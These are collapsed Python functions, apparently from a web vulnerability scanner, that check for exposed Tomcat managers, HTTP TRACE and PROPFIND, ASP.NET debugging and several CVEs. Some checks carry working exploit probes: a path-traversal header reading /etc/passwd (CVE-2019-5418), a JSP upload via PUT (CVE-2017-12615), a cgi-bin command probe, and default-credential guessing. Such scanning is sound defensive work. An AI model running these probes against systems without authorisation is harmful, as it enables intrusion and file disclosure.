def check_options(url: str) -> List[Result]: results: List[Result] = [] res = network.http_options(url) if "Allow" in res.headers: results.append( Result( f"Allow HTTP Verbs (OPTIONS): {res.headers['Allow']}", Vulnerabilities.HTTP_OPTIONS_ALLOW, url, [ network.http_build_raw_request(res.request), network.http_build_raw_response(res), ], ) ) if "Public" in res.headers: results.append( Result( f"Public HTTP Verbs (OPTIONS): {res.headers['Allow']}", Vulnerabilities.HTTP_OPTIONS_PUBLIC, url, [ network.http_build_raw_request(res.request), network.http_build_raw_response(res), ], ) ) results += response_scanner.check_response(url, res) return results
def check_cve_2019_5418(url: str) -> List[Result]: global _checked # this only applies to controllers, so skip the check unless the link ends with '/' if not url.endswith("/") or url in _checked: return [] results: List[Result] = [] _checked.append(url) try: res = network.http_get( url, False, {"Accept": "../../../../../../../../../e*c/p*sswd{{"} ) body = res.text req = network.http_build_raw_request(res.request) results += response_scanner.check_response(url, res) pattern = r"root:[a-zA-Z0-9]+:0:0:.+$" mtch = re.search(pattern, body) if mtch: results.append( Result( f"Rails CVE-2019-5418: File Content Disclosure: {url} - {mtch.group(0)}", Vulnerabilities.SERVER_RAILS_CVE_2019_5418, url, [body, req], ) ) except Exception: output.debug_exception() return results
def get_version(url: str, res: Response, method: Optional[str] = None) -> List[Result]: """Check a server response to see if it contains a Tomcat version. :param method: :param url: :param res: :return: """ results: List[Result] = [] body = res.text ver = _get_version_from_body(body, res.status_code) if ver is not None: msg = f"Apache Tomcat version exposed: {ver}" if method is not None: msg += f" (Via {method})" results.append( Result( msg, Vulnerabilities.SERVER_TOMCAT_VERSION, url, [ ver, network.http_build_raw_request(res.request), network.http_build_raw_response(res), ], )) results += _check_version_outdated(ver, url, body) return results
def check_cve_2019_0232(links: List[str]) -> List[Result]: results: List[Result] = [] targets: List[str] = [] for link in links: if "cgi-bin" in link: if "?" in link: targets.append(f"{link}&dir") else: targets.append(f"{link}?dir") for target in targets: res = network.http_get(target, False) body = res.text if "<DIR>" in body: # we have a hit results.append( Result( f"Apache Tomcat RCE (CVE-2019-0232): {target}", Vulnerabilities.SERVER_TOMCAT_CVE_2019_0232, target, [ network.http_build_raw_request(res.request), network.http_build_raw_response(res), ], )) results += response_scanner.check_response(target, res) return results
def check_status(url: str) -> List[Result]: results: List[Result] = [] search = ["status/", "stats/"] for path in search: target = urljoin(url, path) res = network.http_get(target, False) body = res.text if res.status_code == 200 and "Active connections:" in body: results.append( Result( f"Nginx status page found: {target}", Vulnerabilities.SERVER_NGINX_STATUS_EXPOSED, target, [ network.http_build_raw_request(res.request), network.http_build_raw_response(res), ], )) results += response_scanner.check_response(target, res) return results
def check_asp_net_debug(url: str) -> List[Result]: results: List[Result] = [] res = network.http_custom( "DEBUG", url, additional_headers={"Command": "stop-debug", "Accept": "*/*"} ) if res.status_code == 200 and "OK" in res.text: # we've got a hit, but could be a false positive # try this again, with a different verb xres = network.http_custom( "XDEBUG", url, additional_headers={"Command": "stop-debug", "Accept": "*/*"} ) # if we get a 200 when using an invalid verb, it's a false positive # if we get something else, then the DEBUG actually did something if xres.status_code != 200: results.append( Result( "ASP.NET Debugging Enabled", Vulnerabilities.SERVER_ASPNET_DEBUG_ENABLED, url, [ network.http_build_raw_request(res.request), network.http_build_raw_response(res), ], ) ) else: output.debug("Server responds to invalid HTTP verbs with status 200") results += response_scanner.check_response(url, res) return results
def check_cve_2017_12615(url: str) -> List[Result]: results = [] try: file_name = secrets.token_hex(12) check_value = secrets.token_hex(12) target = urljoin(url, f"{file_name}.jsp/") res_put = network.http_put(target, f"<% out.println({check_value});%>", False) if res_put.status_code < 300: # code should be 2xx for this to work # now we need to check to see if it worked created_file = urljoin(url, f"{file_name}.jsp") res_get = network.http_get(created_file, False) if check_value in res_get.text: # we have RCE results.append( Result( f"Apache Tomcat PUT RCE (CVE-2017-12615): {created_file}", Vulnerabilities.SERVER_TOMCAT_CVE_2017_12615, url, [ network.http_build_raw_request(res_put.request), network.http_build_raw_response(res_put), network.http_build_raw_request(res_get.request), network.http_build_raw_response(res_get), ], )) else: results += response_scanner.check_response( created_file, res_get) else: # if we didn't get a hit, go ahead and scan it to see if there's # anything else that we should be picking up. results += response_scanner.check_response(target, res_put) except Exception: output.debug_exception() return results
def from_response(cls, response: Response, custom: Optional[Dict[str, Any]] = None): ev = cls( response.request.url, network.http_build_raw_request(response.request), network.http_build_raw_response(response), custom, ) return ev
def check_struts_sample(url: str) -> List[Result]: results: List[Result] = [] try: # make sure we have real 404s file_good, _, _, _ = network.check_404_response(url) if not file_good: return results search = [ "Struts2XMLHelloWorld/User/home.action", "struts2-showcase/showcase.action", "struts2-showcase/titles/index.action", "struts2-bootstrap-showcase/", "struts2-showcase/index.action", "struts2-bootstrap-showcase/index.action", "struts2-rest-showcase/", ] for path in search: target = urljoin(url, path) res = network.http_get(target, False) # check for other issues results += response_scanner.check_response(target, res) if res.status_code == 200: results.append( Result( f"Struts Sample Found: {target}", Vulnerabilities.SERVER_TOMCAT_STRUTS_SAMPLE, target, [ network.http_build_raw_request(res.request), network.http_build_raw_response(res), ], ) ) except Exception: output.debug_exception() return results
def check_manager_password(url: str) -> List[Result]: results = [] try: creds = [ b"tomcat:tomcat", b"tomcat:password", b"tomcat:", b"admin:admin", b"admin:password", b"admin:", ] for cred in creds: ce = base64.b64encode(cred) res = network.http_get(url, False, {"Authorization": ce}) body = res.text if ( '<font size="+2">Tomcat Web Application Manager</font>' in body or '<font size="+2">Tomcat Virtual Host Manager</font>' in body ): # we got in results.append( Result( f"Apache Tomcat Weak Manager Password: '******' - {url}", Vulnerabilities.SERVER_TOMCAT_MANAGER_WEAK_PASSWORD, url, [ network.http_build_raw_request(res.request), network.http_build_raw_response(res), ], ) ) else: # if we didn't get a hit, go ahead and scan it to see if there's # anything else that we should be picking up. results += response_scanner.check_response(url, res) except Exception: output.debug_exception() return results
def check_manager(url: str) -> List[Result]: results = [] try: for p in [urljoin(url, "manager/"), urljoin(url, "host-manager/")]: # check for both Tomcat 6, and 7+ for path in [urljoin(p, "html/"), p]: res = network.http_get(path, False) body = res.text if "<tt>conf/tomcat-users.xml</tt>" in body: # we have a finding vuln = Vulnerabilities.SERVER_TOMCAT_MANAGER_EXPOSED if "host-manager" in path: vuln = Vulnerabilities.SERVER_TOMCAT_HOST_MANAGER_EXPOSED results.append( Result( f"Apache Tomcat Manager found: {path}", vuln, path, [ network.http_build_raw_request(res.request), network.http_build_raw_response(res), ], ) ) # check to see if we can get in with a default password results += check_manager_password(url) else: # if we didn't get a hit, go ahead and scan it to see if there's # anything else that we should be picking up. results += response_scanner.check_response(path, res) except Exception: output.debug_exception() return results
def check_trace(url: str) -> List[Result]: results: List[Result] = [] res = network.http_custom("TRACE", url) body = res.text if res.status_code == 200 and "TRACE / HTTP/1.1" in body: results.append( Result( "HTTP TRACE Enabled", Vulnerabilities.HTTP_TRACE_ENABLED, url, [ network.http_build_raw_request(res.request), network.http_build_raw_response(res), ], ) ) results += response_scanner.check_response(url, res) return results
def check_propfind(url: str) -> List[Result]: results: List[Result] = [] res = network.http_custom("PROPFIND", url) body = res.text if res.status_code <= 400 and len(body) > 0: if "Content-Type" in res.headers and "text/xml" in res.headers["Content-Type"]: results.append( Result( "Possible Info Disclosure: PROPFIND Enabled", Vulnerabilities.HTTP_PROPFIND_ENABLED, url, [ network.http_build_raw_request(res.request), network.http_build_raw_response(res), ], ) ) results += response_scanner.check_response(url, res) return results
def check_cve_2019_5418(url: str) -> List[Result]: # this only applies to controllers, so skip the check unless the link ends with '/' if not url.endswith("/"): return [] results: List[Result] = [] res = network.http_get( url, False, {"Accept": "../../../../../../../../../etc/passwd{{"}) body = res.text req = network.http_build_raw_request(res.request) results += response_scanner.check_response(url, res) if "root:" in body: results.append( Result( f"Rails CVE-2019-5418: File Content Disclosure: {url}", Vulnerabilities.SERVER_RAILS_CVE_2019_5418, url, [body, req], )) return results